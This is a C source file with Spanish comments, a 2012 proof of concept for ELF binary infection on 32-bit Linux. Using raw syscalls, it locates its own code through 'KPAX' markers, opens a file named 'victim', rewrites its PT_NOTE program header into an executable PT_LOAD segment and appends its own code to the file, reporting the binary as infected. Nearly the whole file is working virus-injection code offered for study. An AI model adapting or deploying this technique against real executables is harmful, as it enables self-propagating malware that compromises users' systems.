/*
* Prueba de concepto: sustitución de PT_NOTE e inyección al final del fichero
* Copyright (C) 2012 Gonzalo J. Carracedo
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <sys/syscall.h>
#include <sys/types.h>
#include <elf.h>
#include <stdint.h>
/* Los includes pueden llegar a ser muy molestos. */
#define O_RDWR 02
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Seek from end of file. */
/* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
cadena más o menos segura y es realmente complicada encontrarla por ca-
sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
coincidencia) */
#define BOTTOM_MARKER_LOW 0x504b
#define BOTTOM_MARKER_HIGH 0x5841
#define TOP_MARKER_LOW BOTTOM_MARKER_LOW
#define TOP_MARKER_HIGH BOTTOM_MARKER_HIGH
#define BOTTOM_MARKER 0x5841504b
#define TOP_MARKER BOTTOM_MARKER
/* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
/* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
sustituirá por la cadena "palabra" */
#define _STRINGIFY(x) #x
#define STRINGIFY(x) _STRINGIFY (x)
/* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
el flag "a" le obliga a que la sección se cargue en memoria */
asm (".section .code_bottom, \\"xa\\"");
asm (".long " STRINGIFY (BOTTOM_MARKER));
asm (".section .code_top, \\"xa\\"");
asm (".long " STRINGIFY (TOP_MARKER));
/* Vamos a necesitar, por lo menos, todas estas syscalls:
write, read, open, close y lseek */
int
write (int fd, const void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
return ret;
}
static inline int
read (int fd, void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_read), "S" (fd), "c" (buf), "d" (size) :
"memory"); /* read modifica la memoria */
return ret;
}
static inline int
lseek (int fd, int offset, int whence)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
return ret;
}
static int
open (const char *path, int mode)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_open), "S" (path), "c" (mode));
return ret;
}
static int
close (int fd)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_close), "S" (fd));
return ret;
}
/* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
muy útil para depurar. */
void
long2hex (unsigned int number, char *buf)
{
int i;
char hexa[] = "0123456789abcdef";
buf[8] = 0;
for (i = 0; i < 8; i++)
{
buf[7 - i] = hexa[number & 0xf];
number >>= 4;
}
}
/* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
del %eip mediante un call (ya que no podemos calcular las direcciones de
nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
hacia arriba o hacia abajo hasta encontrarlos */
void
get_code_limits (uint32_t *bottom, uint32_t *top)
{
int i;
uint32_t this_addr;
/* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
de código en la que me hallo. El popl %0 saca la dirección de retorno
que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
inline assembly de GCC */
/* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
que llamé 1 y que está hacia adelante. Esto de utilizar números para
etiquetas se suele hacer mucho cuando la etiqueta hace referencia
a un cacho de código que no está especialmente diferenciado del resto. */
asm volatile ("call 1f\\n"
"1:\\n"
"popl %0\\n" : "=g" (this_addr));
/* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
últimos bits a cero. */
this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
this_addr = this_addr & 0xfffffffc que es un and
en binario con todo 1 menos los dos últimos bits,
esto fuerza a que el número esté alineado a 4. */
/* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
El marcador está hacia "atrás", o sea que recorreremos la memoria
restando. */
for (i = this_addr; ; i -= 4)
{
if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
{
*bottom = i;
break;
}
}
/* Búsqueda del marcador superior, ahora tenemos que dar saltos en
nuestra memoria hacia adelante, sumando. */
for (i = this_addr; ; i += 4)
{
if (*(uint16_t *) i == TOP_MARKER_LOW)
if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
{
*top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
4 bytes) también pertenece al código. */
break;
}
}
}
/* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
infectable */
int
open_elf (const char *path, Elf32_Ehdr *Ehdr)
{
int fd;
if ((fd = open (path, O_RDWR)) < 0)
return -1; /* Error al abrir */
if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
{
close (fd);
return -1; /* Error al leer la cabecera */
}
if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
Ehdr->e_ident[EI_MAG3] != ELFMAG3)
{
close (fd);
return -1; /* Números mágicos incorrectos */
}
if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
{
close (fd);
return -1; /* El ELF no es de 32 bits */
}
if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
{
close (fd);
return -1; /* El ELF no es little endian */
}
if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
{
close (fd);
return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
}
return fd;
}
/* Macro para alinear a tamaños */
#define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
/* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
/* TODO: hacerlo con mmaps, más rápido. */
int
replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size)
{
int i;
int note_idx;
Elf32_Phdr phdr;
uint32_t lowest_va;
lowest_va = 0xffffffff;
/* Este bucle me calcula la dirección más alta del programa, además de que
me busca el PT_NOTE. */
note_idx = -1;
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
if (phdr.p_type == PT_LOAD)
{
if (phdr.p_vaddr < lowest_va)
lowest_va = phdr.p_vaddr;
}
else if (phdr.p_type == PT_NOTE)
note_idx = i;
}
if (note_idx == -1)
return -1;
lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
read (fd, &phdr, sizeof (Elf32_Phdr));
phdr.p_type = PT_LOAD;
/* Alineamos al tamaño de página, esto es una restricción necesaria, ya
que el kernel sólo puede definir nuevos segmentos a partir de nuevas
páginas */
phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
phdr.p_filesz = size;
phdr.p_memsz = ALIGN (size, 4096);
phdr.p_flags = PF_X | PF_R;
phdr.p_offset = offset;
phdr.p_align = 4096;
lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
return 0;
}
int
inject (int fd, void *base, off_t offset, size_t size)
{
if (lseek (fd, offset, SEEK_SET) < 0)
return -1;
if (write (fd, base, size) < size)
return -1;
return 0;
}
#define DEBUG(x) write (1, x, sizeof (x) - 1)
void
write_zeroes (int fd, int bytes)
{
int i;
int null = 0;
for (i = 0; i < bytes; i++)
write (fd, &null, 1);
}
/* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
void
_start (void)
{
char buffer[9];
Elf32_Ehdr Ehdr;
size_t binsize;
size_t binsize_aligned;
size_t code_size;
int fd;
uint32_t limit_bottom;
uint32_t limit_top;
get_code_limits (&limit_bottom, &limit_top);
code_size = limit_top - limit_bottom;
if ((fd = open_elf ("victim", &Ehdr)) == -1)
{
DEBUG ("No se pudo abrir el ejecutable victim.\\n");
for (;;);
}
binsize = lseek (fd, 0, SEEK_END);
binsize_aligned = ALIGN (binsize, 4096);
/* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
de página de x86 */
write_zeroes (fd, binsize_aligned - binsize);
if (replace_note (fd, &Ehdr, binsize_aligned, code_size) == -1)
{
DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
for (;;);
}
if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
{
DEBUG ("No se pudo inyectar.\\n");
for (;;);
}
DEBUG ("Binario victim infectado.\\n");
for (;;);
}